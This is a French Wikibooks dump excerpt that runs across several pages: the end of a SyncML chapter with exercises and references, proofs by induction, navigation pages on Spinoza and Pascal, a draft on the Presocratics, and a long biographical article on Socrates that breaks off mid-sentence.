[http://sourceforge.net/projects/syncml-ctoolkit/ ici]. Si vous comprenez l'allemand, vous pouvez obtenir un exemple d'application utilisant cette boite à outils [http://www.misterm.de/diplom/index.html ici]. ==Sync4j== Intéressés par le développement SyncML en Java? Regardez le projet open source [http://sync4j.funambol.com/main.jsp?main=theproject Sync4j]. Il propose une bibliothèque de classes Java qui implémente le protocole de synchronisation de données SyncML, un framework Java pour construire des applications serveurs SyncML et un serveur SyncML indépendant. =Summary= Mobile Device Technology is improving and changing at a rapid pace. As US telecommunication companies implement Third generation (3G) WCDMA technology (wide-band code-division multiple access), or wireless broadband, we will begin to see powerful devices emerge on the market. These devices will be able to deliver full color, video, streaming multimedia and a variety of data services such as Multimedia Messaging Service (MMS) through WAP. In that infrastructure is becoming cheaper, these telecommunication companies are starting to shift towards being service providers and media vendors as opposed to communications utilities. Cingular wireless, multimedia messaging and ringtones services are a good example of the shift of their company towards being a <i>media platform</i>. The companies that will survive will be the ones that listen to customers needs and make easy-to-use services. Telecommunications companies can add value to their services by creating custom applications and services that use SyncML for synchronization. <font color="#8b4513"> =Exercises= # Visit[[Image: the Open Mobile Alliance Website, download the pdf of the SyncML v. 1.1 protocol and review it. Reading this reference is a valuable exercise in learning. ]] # Answer these questions: #* What is WBXML aÈnd why is it used? #* How do you foresee SyncML being used in the future? #* Name a problematic situation whereby SyncML is the best 'tool' for the job. <font size="-3"><i>Answers: 2a) WBXML is Wap Binary XML, it is a form of XML whereby the XML tags are abbreviated in order to shorten the markup for transmission to mobile devices, which commonly have bandwidth and memory limitations. 2b) SyncML will likely be used as a general, standard synching mechanism for synchronizing data sets between systems, not just for mobile devices. 2c) A ticket-tracking system called TNT helpdesk is a web-based open work request management system. The staff funning this system would like to have live data from this system on their PDAs, listing open requests. Currently, the PDA database is synched via a docking synch station attached to the staff members' PCs. Staff members have to download the request list as a CSV file, convert it into a usable PDA database and upload it to the PDA, making it this process cumbersome, prone to error, and always out-of-date. Recommendation: Create a custom app to push live updates to the PDAs using SyncML over Bluetooth/Wireless</i></font> </font> =Documents de réference= <table cellspacing='10px' width='80%'> <tr><td>Dumbill, E.(2002, January 1).&nbsp;<i>XML Watch: Have data, will travel.</i>&nbsp;IBM.com.&nbsp;Retrieved April 6, 2004 from<br />http://www-106.ibm.com/developerworks/xml/library/x-synchml/index.html<br /></td></tr> <tr><td>Dumbill, E.(2003, March 1).&nbsp;<i>XML Watch: WBXML and basic SyncML server requirements.</i>&nbsp;IBM.com.&nbsp;Retrieved April 6, 2004 from<br />http://www-106.ibm.com/developerworks/xml/library/x-syncml2.html<br /></td></tr> <tr><td><i>How [SyncML] works</i>(n.a).&nbsp;Nokia.com.&nbsp;Retrieved April 6, 2004 from<br />http://www.nokia.com/nokia/0,8764,2559,00.html<br /></td></tr> <tr><td><i>The New SyncML Standard.</i>&nbsp;. Cellular Dot Co Dot Za Website.&nbsp;Retrieved April 6, 2004 from<br />http://www.cellular.co.za/syncml.htm<br /></td></tr> <tr><td>Open Mobile Alliance (2002, April 2).&nbsp;<i>SyncML version 1.0, 1.1 specification, white paper, errata.</i>&nbsp;Retrieved April 6, 2004 from<br />http://www.openmobilealliance.org/tech/affiliates/syncml/syncmlindex.html<br /></td></tr> <tr><td>Pabla, C(2002, April 1).&nbsp;<i>SyncML Intensive: A beginner's look at the SyncML protocol and procedures.</i>&nbsp;IBM.com.&nbsp;Retrieved April 6, 2004 from<br />http://www-106.ibm.com/developerworks/xml/library/wi-syncml2/<br /></td></tr> <tr><td>SyncML Initiative, Ltd.(2000, December 7).&nbsp;<i>SyncML Specification Protocol version 1.0.</i>&nbsp;The Open Mobile Alliance.&nbsp;Retrieved April 6, 2004 from<br />http://www.openmobilealliance.org/tech/affiliates/syncml/syncml_represent_v10_20001207.pdf<br /></td></tr> <tr><td>SyncML Initiative, Ltd.(2002, February 15).&nbsp;<i>SyncML Device Information DTD version 1.1.</i>&nbsp;.&nbsp;Retrieved April 6, 2004 from<br />http://www.openmobilealliance.org/tech/affiliates/syncml/syncml_devinf_v11_20020215.pdf<br /></td></tr> <tr><td>Saarilahti, A, Group SyncML, et al.(2001, April 23).&nbsp;<i>Tik-76.115 Short introduction to SyncML.</i>&nbsp;.&nbsp;Retrieved April 6, 2004 from<br />http://www.hut.fi/u/asaarila/syncml/syncml_intro.html<br /></td></tr> <tr><td>Stemberger, S.(2002, October).&nbsp;<i>Syncing Data: An introduction to SyncML.</i>&nbsp;IBM.com.&nbsp;Retrieved April 6, 2004 from<br />http://www-106.ibm.com/developerworks/wireless/library/wi-syncml/<br /></td></tr> <tr><td>Synchronica Software GmbH(n.d.).&nbsp;<i>SyncML for Microsoft Exchange.</i>&nbsp;Synchronica Software Website.&nbsp;Retrieved May 24, 2004 from<br />http://www.synchronica.com/products/syncml/corporate_syncml.html<br /></td></tr> <tr><td>Weblicon Technologies AG (n.d.).&nbsp;<i>SyncML for SunOne.</i>&nbsp;Weblicon Technologies AG Website.&nbsp;Retrieved April 6, 2004 from<br />http://www.weblicon.net/html/products_syncml.html<br /></td></tr> <tr><td>XML Cover Pages (n.a., 2003, April 29).&nbsp;<i>The SyncML Initiative.</i>&nbsp;XML Cover Pages Dot Org Website.&nbsp;Retrieved April 6, 2004 from<br />http://xml.coverpages.org/syncML.html<br /></td></tr> </table> [[en:XML: Managing Data Exchange/SyncML]] AL SE Démonstrations 3789 15271 2005-06-02T17:15:23Z Jim2k 289 [[AL Démonstrations|Démonstrations]] ===Exercices sur l'induction mathématique=== 1. :Démontrer que <math>1^2 + 2^2 + \ldots + n^2 = \frac{n(n+1)(2n+1)}{6}\,</math> ::Lorsque n=1, ::Coté gauche de l'équation <math>= 1^2 = 1\,</math> ::Coté droit de l'équation <math>= \frac{1 \times 2 \times 3}{6} = \frac{6}{6} = 1\,</math> ::Par conséquent coté gauche = coté droit ::Par conséquent, c'est vrai lorsque n=1. ::Supposons que ceci est vrai pour un certain entier positif k, ::i.e. <math>1^2 + 2^2 + \ldots + k^2 = \frac{k(k+1)(2k+1)}{6}\,</math> ::<math>\begin{matrix}1^2 + 2^2 + 3^2 + ... + k^2 & = & \frac{k(k+1)(2k+1)}{6} \\ 1^2 + 2^2 + 3^2 + ... + k^2 + (k+1)^2 & = & \frac{k(k+1)(2k+1)}{6} + (k+1)^2 \\ \ & = & \frac{1}{6}(k+1) \left [ k(2k+1) + 6(k+1) \right ] \\ \ & = & \frac{1}{6}(k+1) \left [ 2k^2 + 7k + 6 \right ] \\ \ & = & \frac{(k+1)(k+2)(2k+3)}{6}\end{matrix}\,</math> ::Par conséquent, ceci est aussi vrai pour k+1. ::Par conséquent, par le principe d'induction mathématique ou de récurrence, ceci reste valable pour tous les entiers positifs n. 2. :Démontrer pour <math>n \ge 1\,</math>, ::<math> (1 + \sqrt{5})^n = x_n + y_n\sqrt{5}\,</math> :où <math>x_n\,</math> et <math>y_n\,</math> sont des entiers. ::Lorsque n=1, ::<math>1 + \sqrt{5} = x_1 + y_1\sqrt{5}\,</math> ::Par conséquent <math>x_1=1\,</math> et <math>y_1=1\,</math>, qui sont tous les deux des entiers. ::Par conséquent, ceci est vrai lorsque n=1. ::Supposons que ceci est vrai pour un certain entier positif k, ::i.e. <math> (1 + \sqrt{5})^k = x_k + y_k\sqrt{5}</math> où <math>x_k\,</math> et <math>y_k\,</math> sont des entiers. ::<math>\begin{matrix} (1 + \sqrt{5})^k & = & x_k + y_k\sqrt{5} \\ (1 + \sqrt{5})^{k+1} & = & (x_k + y_k\sqrt{5})(1 + \sqrt{5}) \\ \ & = & x_k + y_k\sqrt{5} + x_k\sqrt{5} + 5y_k \\ \ & = & (x_k + 5y_k) + (x_k + y_k)\sqrt{5} \end{matrix}</math> ::Puisque <math>x_k\,</math> et <math>y_k\,</math> sont tous deux des entiers, par conséquent <math>x_k + 5y_k\,</math> et <math>x_k + y_k\,</math> sont aussi des entiers. ::Par conséquent, ceci est aussi vrai pour k+1. ::Par conséquent, par le principe d'induction mathématique ou de récurrence, ceci reste valable pour tous les entiers positifs n. AL SP Démonstrations 3790 15272 2005-06-02T17:43:12Z Jim2k 289 Traduction de l'article anglais [[AL Démonstrations|Démonstrations]] ==Ensemble de problèmes sur les démonstrations== 1. :Pour tout :<math> \begin{matrix} a & > & 0\\ n+a & > & n\\ n & > & n-a\\ \sqrt{n} & > & \sqrt{n-a}\\ 1 & > & \frac{\sqrt{n-a}}{\sqrt{n}}\\ \frac{1}{\sqrt{n-a}} & > & \frac{1}{\sqrt{n}} \end{matrix} </math> :Par conséquent <math>\frac{1}{\sqrt{1}}</math> , <math>\frac{1}{\sqrt{2}}</math> , <math>\frac{1}{\sqrt{3}}</math>... <math> > \frac{1}{\sqrt{n}}</math> :Lorsque a>b et c>d, a+c>b+d ( [[Algèbre:Résolution d'inéquations linéaires#Propriétés|voir aussi]] Remplacer ceci si vous en trouvez une meilleure). :Par conséquent, nous avons : :<math>\frac{1}{\sqrt{1}}+\frac{1}{\sqrt{2}}+\frac{1}{\sqrt{3}}......+\frac{1}{\sqrt{n}}>n\times\frac{1}{\sqrt{n}}</math> :<math>\frac{1}{\sqrt{1}}+\frac{1}{\sqrt{2}}+\frac{1}{\sqrt{3}}......+\frac{1}{\sqrt{n}}>\frac{n}{\sqrt{n}}\times\frac{\sqrt{n}}{\sqrt{n}}</math> :<math>\frac{1}{\sqrt{1}}+\frac{1}{\sqrt{2}}+\frac{1}{\sqrt{3}}......+\frac{1}{\sqrt{n}}>\frac{n\sqrt{n}}{n}</math> :<math>\frac{1}{\sqrt{1}}+\frac{1}{\sqrt{2}}+\frac{1}{\sqrt{3}}......+\frac{1}{\sqrt{n}}>\sqrt{n}</math> 3. :Soit la proposition :<math>{n \choose 0} + {n \choose 1} + {n \choose 2} + ... + {n \choose n} = 2^n</math> que nous nommons P(n) :Supposons que ceci est vrai pour un certain n, alors :<math>{n \choose 0} + {n \choose 1} + {n \choose 2} + ... + {n \choose n} = 2^n</math> :<math>2\times \left \{ {n \choose 0} + {n \choose 1} + {n \choose 2} + ... + {n \choose 2} \right \} = 2^{n+1}</math> :<math>\left \{ {n \choose 0} + {n \choose n} \right \} + \left \{ {n \choose 0} + 2{n \choose 1} + 2{n \choose 2} + ... + 2{n \choose n-1} + {n \choose n} \right \} = 2^{n+1}</math> :<math>\left \{ {n \choose 0} + {n \choose n} \right \} + \left \{ {n \choose 0} + {n \choose 1} \right \} + \left \{ {n \choose 1} + {n \choose 2} \right \} + \left \{ {n \choose 2} + {n \choose 3} \right \} + ... + \left \{ {n \choose n-1} + {n \choose n} \right \} = 2^{n+1}</math> :Maintenant, en utilisant les identités de cette fonction :<math>{n \choose a} + {n \choose a+1} = {n+1 \choose a+1}</math> (Note : si quelqu'un trouve des wikilivres qui ont mentionné ceci, inclure un lien ici !), nous avons : :<math>\left \{ {n \choose 0} + {n \choose n} \right \} + {n+1 \choose 1} + {n+1 \choose 2} + {n+1 \choose 3} + ... + {n+1 \choose n} = 2^{n+1}</math> :Puisque <math>{n \choose 0} = {n \choose n} = 1</math> pour tout n, :<math>{n+1 \choose 0} + {n+1 \choose n+1} + {n+1 \choose 1} + {n+1 \choose 2} + {n+1 \choose 3} + ... + {n+1 \choose n} = 2^{n+1}</math> :<math>{n+1 \choose 0} + {n+1 \choose 1} + {n+1 \choose 2} + {n+1 \choose 3} + ... + {n+1 \choose n} + {n+1 \choose n+1} = 2^{n+1}</math> :Par conséquent P(n) implique P(n+1), et par une simple substitution P(0) est vrai. :Par conséquent, par le principe de récurrence ou d'induction mathématique, P(n) est vrai pour tout n. 5. :Soit <math>P(x)=x^n + y^n\,</math> un polynôme avec x comme variable, y et n sont des constantes. :<math> \begin{matrix} P(-y) & = & (-y)^n + y^n\\ \ & = & -y^n + y^n(\mbox{lorsque n est un entier impair})\\ \ & = & 0 \end{matrix} </math> :Par conséquent, par le théorème de factorisation (lien ici, svp), (x-(-y))=(x+y) est un facteur de P(x). :Puisque l'autre facteur, qui est aussi un polynôme, possède une valeur entière pour tout entier x,y et n (j'ai enlevé la partie sur la vérification de la valeur entière de tous les coefficients pour ce moment), il est maintenant évident que :<math>\frac{x^n+y^n}{x+y}</math> est un entier pour toute valeur entière de x,y et n lorsque n est impair. L'Éthique - Introduction 3791 15273 2005-06-02T19:01:53Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Commentaire de l'Éthique]]</center> |- | width="33%"| | width="34%" align="center"|'''Baruch Spinoza''' | width="33%" align="right"|[[L'Éthique - Première partie : De Dieu|Première partie]]> |} Le but de ce livre est de conduire le lecteur vers la béatitude. Cette dernière est atteinte par la connaissance de l'être (point de départ absolu, objet de la [[L'Éthique - Première partie : De Dieu|première partie]]), des lois de la nature et de l'homme (l'esprit - II, V, et ses affections - III, IV) qui n'est qu'une partie de la nature. Baruch Spinoza 3792 31082 2006-02-01T08:43:03Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Histoire de la philosophie - La philosophie classique|'''3. Philosophie classique]]''' | width="34%" align="center"|'''Baruch Spinoza''' | width="33%" align="right"| |} {{wikisource}} *[[Commentaire du Court traité]] *[[Commentaire des Principes de la philosophie de Descartes démontrés selon la méthode géométrique]] *[[Commentaire du Traité de la réforme de l'entendement]] *[[Commentaire de l'Éthique]] *[[Commentaire du Traité théologico-politique]] *[[Commentaire du Traité politique]] [[catégorie:Philosophe]] Philosophie/Blaise Pascal 3793 46373 2006-06-28T14:36:54Z Guillaumito 46 [[Blaise Pascal]] déplacé vers [[Philosophie/Blaise Pascal]]: Convention de nommage {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Histoire de la philosophie - La philosophie classique|'''3. Philosophie classique]]''' | width="34%" align="center"|'''Blaise Pascal''' | width="33%" align="right"| |} {{wikisource}} *[[Commentaire du passage à propos de l'Homme esclave du divertissement]] *[[Commentaire du passage à propos des deux infinis]] Philosophie/Histoire de la philosophie/La philosophie classique 3794 47187 2006-07-03T08:26:56Z Guillaumito 46 [[Histoire de la philosophie - La philosophie classique]] déplacé vers [[Philosophie/Histoire de la philosophie/La philosophie classique]]: Convention de nommage {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Histoire de la philosophie - La philosophie médiévale|'''2. Philosophie médiévale]]''' | width="34%" align="center"|'''La philosophie classique''' | width="33%" align="right"|'''[[Histoire de la philosophie - La philosophie des Lumières|'''4. Philosophie des Lumières]]''' |} *[[René Descartes]] *[[Baruch Spinoza]] *[[Blaise Pascal]] *[[Leibniz]] Philosophie/Histoire de la philosophie/La philosophie antique 3795 47181 2006-07-03T08:25:40Z Guillaumito 46 [[Histoire de la philosophie - La philosophie antique]] déplacé vers [[Philosophie/Histoire de la philosophie/La philosophie antique]]: Convention de nommage {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Histoire de la philosophie - Origine de la philosophie|Origine de la philosophie]]''' | width="34%" align="center"|'''La philosophie antique''' | width="33%" align="right"|'''[[Histoire de la philosophie - La philosophie médiévale|'''2. Philosophie médiévale]]''' |} {| style="border:1px solid darkgray" cellpadding="3" cellspacing="3" align="left" |- |[[Image:Écoles.jpg|240px|]] |[[Présocratiques]] : [[Thalès de Milet]] - [[Anaximandre de Milet|Anaximandre]] [[Socrate]] - [[Platon]] - [[Aristote]] [[Scepticisme]] : [[Pyrrhon]] [[Stoïcisme]] - [[Épicure]] |} [[Image:Plato i sin akademi, av Carl Johan Wahlbom (ur Svenska Familj-Journalen).png|right|220px]] Présocratiques/Brouillon1 3796 21595 2005-09-17T15:55:56Z Marc 66 {{Présocratiques}} == Quelques éléments d'histoire == Si l'histoire de la philosophie a fait de [[Socrate]] (qui n'a pourtant rien écrit) un moment décisif de l'histoire des idées (de sorte qu'il existe un avant et un après Socrate), il n'en reste pas moins que les Présocratiques ont eu une très grande influence sur des penseurs tels que Platon et Aristote. Il serait donc incorrect de faire une histoire téléologique, dont Socrate serait le point convergeant. On peut d'ailleurs soutenir que l'évolution de la pensée de Platon l'a conduit à minimiser la doctrine de son maître : les écrits de la maturité et de la vieillesse de Platon sont en effet nettement influencés par Héraclite et Pythagore. Il y a donc un mouvement de retour aux Présocratiques qui s'amorce dès l'Antiquité, à moins que ceux-ci n'aient jamais été délaissés, et que nous soyons victime d'une déformation de la perspective historique. Au XIXè siècle, c'est avec Hegel que les philosophes modernes commenceront à s'intéresser de nouveau aux Présocratiques, en diminuant l'importance de Socrate ; le mouvement se poursuit avec le philologue et helléniste [[Friedrich Nietzsche]], et, au XXe siècle, avec les interprétations très controversées de Heidegger. Il ne fait pas de doute que si nous découvrions des œuvres importantes de ces philosophes, la vision que nous avons aujourd'hui de la pensée grecque serait entièrement modifiée. Nous savons par exemple que les Anciens avaient autant d'estime pour les œuvres de Démocrite que pour celles de Platon. À cette époque, la philosophie de Platon était une doctrine parmi d'autres. Il est pour nous difficile de corriger ces déformations de perspectives qui ont fait sombrer les Présocratiques quasiment dans l'oubli Socrate 3797 40751 2006-04-22T17:32:03Z 195.24.216.69 /* L’ironie */ {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Présocratiques]]''' | width="34%" align="center"|'''La philosophie antique''' | width="33%" align="right"|'''[[Platon]]''' |} '''Socrate''' (en grec Σωκράτης) philosophe de la Grèce antique, considéré comme le père de la philosophie occidentale, l’inventeur de la science morale et de la philosophie conceptuelle. == Biographie == === Eléments biographiques === Socrate naquit en -469|469 avant J.C. (troisième année de la 77{{e}} olympiade), sans doute au mois de mai (6 du mois thargélion), près d’Athènes, dans le dème d’Alopèce, dème qui faisait partie de la tribu d’Antiochide. Son père, Sophronisque, était sculpture|sculpteur, et sa mère, Phénarète, sage-femme. Socrate avait un frère, Patroclès, fils du premier mari de sa mère. Nous ne savons que peu de choses de sa jeunesse. Qu’il fut esclave semble n’être qu’une hypothèse ; il reçut sans doute une éducation classique, que la loi athénienne obligeait un père à donner à son fils : gymnastique, musique (art du chant, de la danse — mais d’après Lucien de Samosate, dans ''De la danse'', Socrate n’appris la danse que dans sa vieillesse ; Xénophon nous représente ainsi le vieux Socrate dansant dans sa maison ; apprentissage de la lyre — on sait d’après Platon que Socrate composa sur des fables alors qu’il était en prison), grammaire (ce qui implique l’étude de Homère, d’Hésiode et d’autres poètes). Diogène Laërce (II, 42) cite le début d’un péan et d’une fable attribués à Socrate : :« Apollon Délien, salut, et Artémis, enfants illustres. » :« Ésope dit une fois aux habitants de la ville de Corinthe ::de ne pas juger la vertu à l’aune de la sagesse d’un verdict populaire. » Socrate semble ne pas s’être contenté de cette éducation. D’après Maxime de Tyr, Socrate s’adressa à toutes sortes de maîtres dès sa jeunesse. Chose peut-être remarquable en ce temps, parmi ses maîtres, Socrate place plusieurs femmes : Aspasie, compagne de Périclès, célèbre tant par sa beauté que par son esprit ; Diotime, prêtresse de Mantinée, qui enseigna à Socrate la science de l’amour, mais cette femme est peut-être un personnage inventé par Platon. Selon le même auteur, Socrate se serait instruit tout au long de sa vie : il dit être le disciple de Prodicosde Céos, et il fréquente les sophistes (Protagoras, Hippias d'Élis, Polos) ; il aurait appris la musique auprès de Connus ou de Damon, la poésie avec Evénus, l’agriculture auprès d’Ischomaque, et la géométrie avec Théodore. Il aurait été le disciple du physicien Aechelaus. Il disait ne rien comprendre à Héraclite. Ces renseignements doivent cependant être considérés avec prudence, car les témoignages, sur ces points comme sur d’autres ne concordent pas toujours. On a notamment souligné le ton ironique de Socrate lorsqu’il prétend être le disciple de quelqu’un (cf. par exemple Plutarque, ''Vie de Périclès'', 24). Selon plusieurs témoignages, il est possible que Socrate ait exercé d’abord le métier de sculpteur. On lui attribue à tort ou à raison une statue des Grâces, qui se trouvait devant l’Acropole. D’après d’autres témoignages, il aurait été banquier. Selon Démétrius de Byzance, c’est Criton qui lui permit de vivre dans un certain loisir pour se consacrer à la philosophie. Il semble avoir disposé ainsi d’une fortune assez confortable. En revanche, d’après Platon, Socrate aurait vécu dans une grande pauvreté, et cette affirmation est confirmée par Xénophon (''Mémorables'', I, 2, 1). Ce point est également confirmé par les surnoms dont l’affublent les comiques (cf. Eupolis) : le gueux, le mendiant, le va-nu-pieds, etc. Il a également été représenté comme un clochard, sale, se faisant battre par des individus exaspérés par sa manie de la discussion. Il semble qu’il se soit intéressé d’abord à la philosophie de la nature et aux spéculations de nature physique, mais qu’il ait été déçu par les explications purement causales d’Anaxagore. Mais l''Apologie de Socrate'' affirme qu’il ne s’est jamais intéressé à de telles recherches. Il semble aussi s’être particulièrement intéressé à l’art de distinguer le sens des mots enseigné par Prodicos, bien qu’il s’y réfère quelquefois avec ironie. Il eut de nombreux disciples : Xénophon, Platon et Alcibiade, son préféré, qu’il sauva à Potidée, une des rares fois où il sortit Athènes antique|Athènes. Il sauva Xénophon à Délion, contre les Perses. Sous la tyrannie des Trente, il lui fut interdit d’enseigner. Socrate se maria au moins une fois, avec Xanthippe, qui passe pour une femme particulièrement acariâtre et dont il eut un fils, Lamproclès. Il fit peut-être un second mariage, avec Myrtho, la fille d’Aristide, qui lui aurait donné deux autres fils. Vivant pauvrement, n’exerçant aucun métier, il parcourait les rues d’Athènes, vêtu plus que simplement et sans chaussure, dialoguant avec tous, en cherchant à les rendre plus sages par la connaissance de leur ignorance : « Je sais que je ne sais rien ». Il prétend avoir reçu pour mission d’éduquer ses contemporains : c’est Apollon « qui lui avait assigné pour tâche de vivre en philosophant, en se scrutant lui-même et les autres. » (Platon, ''Apologie de Socrate'', 21 a ; 28 e) Et, en effet, la Pythie de Delphes avait répondu à Chéréphon que nul n’était plus sage que Socrate. Cette mission divine s’exprime également par le ''démon'' de Socrate, un signe divinatoire, une sorte de voix intérieure qui lui révèle les actes dont il faut s’abstenir (Platon : Euthyphron, 3 b; Alcibiade, 103 a à 105 e ; Xénophane, ''Mémorables'', I, 1, 2-4) Il enseigne, ou plus exactement questionne, gratuitement — contrairement aux sophistes. Cette mission le fait à ses yeux le seul citoyen véritable, c’est-à-dire le seul qui s’interroge sérieusement sur la vie politique. Il s’oppose en cela au caractère démagogique de la démocratie athénienne qu’il veut secouer par son action, et sa manie du questionnement qui ne cesse du matin au soir, car il est « attaché aux Athéniens par la volonté des dieux pour les stimuler comme un taon stimulerait un cheval. » (''Apologie de Socrate'', 30 e) Les dix dernières années de la vie de Socrate nous sont presque totalement inconnues. === Le procès de Socrate === Plusieurs aristocrates affirmèrent voir en lui un esprit pervertissant les valeurs morales traditionnelles et donc un danger pour l’ordre social. En -399|399 av. J.-C., Socrate se vit accusé par Anytos, un membre éminent du parti démocratique, ainsi que deux de ses amis, des deux crimes suivants (Platon, ''Apologie de Socrate'', 24 bc ; ''Euthyphron'', 2 d 3 b ; Xénophon, ''Mémorables'', I, 1) : * ne pas reconnaître les dieux de la cité et introduire des divinités nouvelles ; * corrompre la jeunesse. Il fut reconnu coupable avec huit voix d’avance seulement. Comme peine alternative à celle demandée par ses accusateurs (la peine de mort), il proposa alors d’être hébergé et nourri au Prytanée pour le reste de ses jours. En effet, pour inciter les parties à la plus grande modération, les juges devaient non pas déterminer leur propre sentence, mais choisir celle qui, des deux parties, leur paraissait le plus ''raisonnable''. Socrate avait donc la possibilité de proposer une peine qui eût sans doute été acceptée par les juges. Socrate se vit donc condamné par 281 voix contre 278 à boire la ciguë. Ayant pendant son emprisonnement l’occasion de s’enfuir, il refusa de le faire au motif que le respect des lois de la cité était plus important que sa propre personne. Un esprit analogue animera bien plus tard Régulus. === La mort de Socrate === Image:Mortdesocrate.JPG|thumb|250px|right|Jacques-Louis Davids, « La mort de Socrate »(1787) Socrate passa les jours qui précédaient sa mort à dialoguer avec ses amis. Son dernier jour nous est raconté par Platon (cf. ''Phédon'') : il s’agit d’un dialogue sur l’immortalité de l’âme, dont la morale est que le sage doit espérer en un séjour divin après la mort. Il affirma avant sa mort croire aux dieux athéniens comme n’y croit aucun de ses accusateurs, et indiqua à ses amis qu’il « [devait] un coq à Esculape » pour l’avoir guéri de cette maladie qu’est la vie en ce monde. Le reste d’Athènes, par la suite, prit très mal la condamnation de Socrate. Les Athéniens qui avaient participé à sa condamnation furent bannis de la cité, et une statue fut érigée pour perpétuer son souvenir. Les récits de Platon et Xénophon sur le sujet se sont montrés plus durables que celle-ci. === Son caractère === Socrate était physiquement très laid : il ressemblait à un silène (mythologie)|silène (cf. Le Banquet). Un tel visage était moralement scandaleux, car la laideur était considérée par les physionomistes de l’époque comme l’indice de l’intempérance et du vice : :« [...] ne savons-nous pas le jugement que porta un jour de Socrate le physionomiste Zopyre, qui faisait profession de connaître le tempérament et le caractère des hommes à la seule inspection du corps, des yeux, du visage, du front ? Il déclara que Socrate était un sot et un niais, parce qu'il n'avait pas la gorge concave, parce que tous ses organes étaient fermés et bouchés ; il ajouta même que Socrate était adonné aux femmes ; ce qui, nous dit-on, fit rire Alcibiade aux éclats. » (Cicéron, ''Du destin'', V, 10) Mais si cette observation nous renseigne sur les préjugés qui avaient cours en Grèce sur l’apparence physique, elle nous donne pourtant de précieux renseignements sur le caractère de Socrate par la réponse de ce dernier rapportée par Cicéron : :« Zopyre, qui se donnait pour un habile physionomiste, l’ayant examiné devant une nombreuse compagnie, fit le dénombrement des vices qu’il découvrait en lui : et chacun se prit à rire, car on ne voyait rien de tout cela dans Socrate. Il sauva l’honneur de Zopyre, en déclarant que véritablement il était porté à tous ces vices, mais qu’il s’en était guéri avec le secours de la raison. » (Cicéron, ''Tusculanes'', IV, 37) Son caractère violent est confirmé par un des témoignages les plus directs que nous possédions, celui de Spintharos : son fils rédigea les souvenirs de celui-ci sur Socrate dont il était le contemporain : :« Nul n’était plus persuasif grâce à sa parole, au caractère qui paraissait sur sa physionomie, et, pour tout dire, à tout ce que sa personne avait de particulier, mais seulement tant qu’il n’était pas en colère ; lorsque cette passion le brûlait, sa laideur était épouvantable ; nul mot, nul acte dont il s’abstînt alors. » (in Porphyre de Tyr, '' Histoire des philosophes'') Selon Émile Bréhier (''Histoire de la philosophie''), cette nature violente qu’il a maîtrisée explique sans doute la fascination qu’il exerça sur des hommes aussi ardents qu’Alcibiade et Platon. == La philosophie de Socrate == Les interprétations de la pensée de Socrate sont assez diverses. Socrate n’ayant rien écrit de ses idées, nous le voyons par les yeux de ses proches, de ses biographes, de ceux qui en ont proposé une lecture, et des différents courants qui se sont réclamés de lui après sa mort. Le plus ancien de tous les témoignages sont ''Les Nuées'' d'''Aristophane'', qui date de 423, alors que Socrate avait 47 ans. Et il avait plus de 60 ans quand il rencontra Platon. Comment Socrate lui-même se voyait-il, lui dont la devise était ''Connais-toi toi-même'', voila une question difficile qui est souvent ensevelie sous la multitude des interprétations. Néanmoins, il est possible en confrontant ces interprétations soit de formuler quelques hypothèses relativement solides (ainsi, certains points sont connus par des témoignages d’une fiabilité relativement sûre), soit de présenter les divers aspects de la philosophie de cet homme, tels qu’ils ont été compris, même s’ils paraissent contradictoires. === Les sources === Avant d’exposer ce que nous pouvons savoir de Socrate, voici quelques éléments sur l’héritage socratique. ==== Les premiers témoignages ==== Outre les dialogues socratiques, on peut distinguer trois types de représentations de Socrate chez Platon : *défense de Socrate (''Apologie de Socrate'', ''Criton'') ; *idéalisation de Socrate (''Phédon'', ''Le Banquet'', ''Théétète'', ''Parménide'') ; *Socrate, porte-parole de la doctrine de l’Académie de Platon|Académie. Xénophon a qui on doit un témoignage historique de la vie de Socrate, qui est jugé généralement assez médiocre en tant que document sur la pensée de Socrate. Il nous reste également des fragments de dialogues socratiques de Phédon (parmi ses œuvres : ''Simon''), d’Eschine et quelques donnés d’Aristote. ==== Autres traditions ==== Certaines traditions hostiles à Socrate nous fournissent quelques éléments : *un pamphlet de Polycrate écrit en 390 ; *hostilité des Épicuriens (voir Cicéron, ''Brutus'', 85) : **Philodème de Gadara blâme l’ironie socratique comme une forme d’orgueil ; *Porphyre de Tyr, ''Histoire des philosophes'', fragments 8 et 9 ; *Libanios (un rhéteur). === Socrate et la physique === Nous ne savons rien avec certitude des idées de Socrate jeune, et même du Socrate de la maturité. Les témoignages sur ces points ne s’accordent pas, mais on peut faire quelques hypothèses. Dans le ''Phédon'' et dans les ''Nuées'', Socrate est censé s’être d’abord intéressé aux spéculations de la physique. Mais cet intérêt est catégoriquement nié dans l’''Apologie de Socrate'', et le caractère historique de cette dernière œuvre semble devoir la rendre plus fiable que les œuvres d’un comique (Aristophane) ou d’un disciple qui met, dans le ''Phédon'', dans la bouche de son maître sa propre théorie des Idées. Bien plus, dans l'''Apologie'', Platon fait dire à Socrate que si beaucoup le prennent pour un physicien ou un sophiste, c’est que ses ennemis l’ont fait passé pour tel ; et nous avons également un témoignage d’Aristote qui va en ce sens (''La Métaphysique'', Livre alpha, 6, 987). Il semble possible d’inférer de l’ensemble de ces témoignages que, si Socrate connaissait vraisemblablement les théories physiques, il s’est toutefois essentiellement préoccupé de questions bien différentes tout au long de sa vie, en déclarant vaines et contradictoires les spéculations des physiologues sur l’unité et la multiplicité, sur le repos et le devenir de l’être, etc. Ce rejet de la physique ne semble pas être particulièrement spécifique à Socrate : selon Émile Boutroux, les Grecs étaient un peuple politique, artiste et religieux ; la physique ne faisait pas essentiellement partie de leur culture. Selon ''Xénophon'' (''Mémorables''), Socrate divisait les choses en deux : les choses humaines (la piété, la beauté, le juste, les questions politiques, etc.) et les choses divines (la formation du monde par exemple). Nous pouvons connaître les 